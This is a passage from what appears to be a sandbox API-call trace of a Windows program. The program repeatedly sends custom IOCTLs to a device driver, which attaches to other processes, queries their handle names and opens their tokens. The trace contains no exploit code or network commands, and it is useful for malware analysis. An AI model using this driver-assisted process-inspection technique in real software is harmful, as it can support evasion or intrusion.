peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.809] CloseHandle (hObject=0xc8) returned 1 [0094.809] CloseHandle (hObject=0xc0) returned 1 [0094.809] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.809] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.809] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.809] PsAcquireProcessExitSynchronization () returned 0x0 [0094.809] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880052335d0) [0094.809] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002085ae0, HandleInformation=0x0) returned 0x0 [0094.809] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.809] PsReleaseProcessExitSynchronization () returned 0x2 [0094.809] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0094.809] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002057044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002057044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.809] ObfDereferenceObject (Object=0xfffffa8002085ae0) returned 0x1 [0094.809] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.809] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.809] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.809] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x92, lpOverlapped=0x0) returned 1 [0094.809] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.809] PsAcquireProcessExitSynchronization () returned 0x0 [0094.809] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880052335d0) [0094.809] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020dd640, HandleInformation=0x0) returned 0x0 [0094.809] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.809] PsReleaseProcessExitSynchronization () returned 0x2 [0094.810] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0094.810] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.810] ObfDereferenceObject (Object=0xfffffa80020dd640) returned 0x1 [0094.810] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.810] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.810] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.810] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.810] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.810] PsAcquireProcessExitSynchronization () returned 0x0 [0094.810] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880052335d0) [0094.810] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.810] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.810] PsReleaseProcessExitSynchronization () returned 0x2 [0094.810] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0094.810] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002047044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002047044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.810] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.810] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.810] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.810] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x990) returned 0xc0 [0094.810] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.810] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800208db30, HandleInformation=0x0) returned 0x0 [0094.810] ObOpenObjectByPointer (in: Object=0xfffffa800208db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.810] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x12 [0094.810] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.810] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.810] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.810] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.810] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.812] CloseHandle (hObject=0xc8) returned 1 [0094.812] CloseHandle (hObject=0xc0) returned 1 [0094.812] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.812] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.812] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.812] PsAcquireProcessExitSynchronization () returned 0x0 [0094.812] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880052335d0) [0094.812] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fce180, HandleInformation=0x0) returned 0x0 [0094.812] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.812] PsReleaseProcessExitSynchronization () returned 0x2 [0094.812] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0094.812] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.812] ObfDereferenceObject (Object=0xfffffa8001fce180) returned 0x1 [0094.812] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.812] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.812] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.812] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0094.812] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.812] PsAcquireProcessExitSynchronization () returned 0x0 [0094.812] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880052335d0) [0094.812] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800208d070, HandleInformation=0x0) returned 0x0 [0094.812] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.813] PsReleaseProcessExitSynchronization () returned 0x2 [0094.813] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0094.813] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.813] ObfDereferenceObject (Object=0xfffffa800208d070) returned 0x1 [0094.813] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.813] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.813] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.813] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.813] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.813] PsAcquireProcessExitSynchronization () returned 0x0 [0094.813] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880052335d0) [0094.813] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.813] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.813] PsReleaseProcessExitSynchronization () returned 0x2 [0094.813] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0094.813] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.813] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.813] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.813] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.813] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9a0) returned 0xc0 [0094.813] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.813] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020222d0, HandleInformation=0x0) returned 0x0 [0094.813] ObOpenObjectByPointer (in: Object=0xfffffa80020222d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.813] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x12 [0094.813] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.813] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.813] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.813] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.813] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.943] CloseHandle (hObject=0xc8) returned 1 [0094.944] CloseHandle (hObject=0xc0) returned 1 [0094.944] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.944] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.944] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.944] PsAcquireProcessExitSynchronization () returned 0x0 [0094.944] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880052335d0) [0094.944] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002022c00, HandleInformation=0x0) returned 0x0 [0094.944] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.944] PsReleaseProcessExitSynchronization () returned 0x2 [0094.944] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0094.944] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.944] ObfDereferenceObject (Object=0xfffffa8002022c00) returned 0x1 [0094.944] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.944] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.944] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.944] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0094.944] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.944] PsAcquireProcessExitSynchronization () returned 0x0 [0094.944] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880052335d0) [0094.944] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800202d760, HandleInformation=0x0) returned 0x0 [0094.944] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.944] PsReleaseProcessExitSynchronization () returned 0x2 [0094.944] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0094.945] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.945] ObfDereferenceObject (Object=0xfffffa800202d760) returned 0x1 [0094.945] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.945] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.945] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.945] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.945] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.945] PsAcquireProcessExitSynchronization () returned 0x0 [0094.945] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880052335d0) [0094.945] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.945] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.945] PsReleaseProcessExitSynchronization () returned 0x2 [0094.945] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0094.945] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.945] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.945] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.945] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.945] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9b0) returned 0xc0 [0094.945] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.945] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002049740, HandleInformation=0x0) returned 0x0 [0094.945] ObOpenObjectByPointer (in: Object=0xfffffa8002049740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.945] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x12 [0094.945] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.945] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.945] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.945] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.945] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.947] CloseHandle (hObject=0xc8) returned 1 [0094.947] CloseHandle (hObject=0xc0) returned 1 [0094.947] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.947] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.947] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.947] PsAcquireProcessExitSynchronization () returned 0x0 [0094.947] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880052335d0) [0094.947] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002056980, HandleInformation=0x0) returned 0x0 [0094.947] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.947] PsReleaseProcessExitSynchronization () returned 0x2 [0094.947] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0094.947] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.947] ObfDereferenceObject (Object=0xfffffa8002056980) returned 0x1 [0094.947] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.947] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.947] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0094.948] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.948] PsAcquireProcessExitSynchronization () returned 0x0 [0094.948] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880052335d0) [0094.948] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002056830, HandleInformation=0x0) returned 0x0 [0094.948] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.948] PsReleaseProcessExitSynchronization () returned 0x2 [0094.948] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0094.948] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.948] ObfDereferenceObject (Object=0xfffffa8002056830) returned 0x1 [0094.948] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.948] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.948] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.948] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.948] PsAcquireProcessExitSynchronization () returned 0x0 [0094.948] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880052335d0) [0094.948] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, 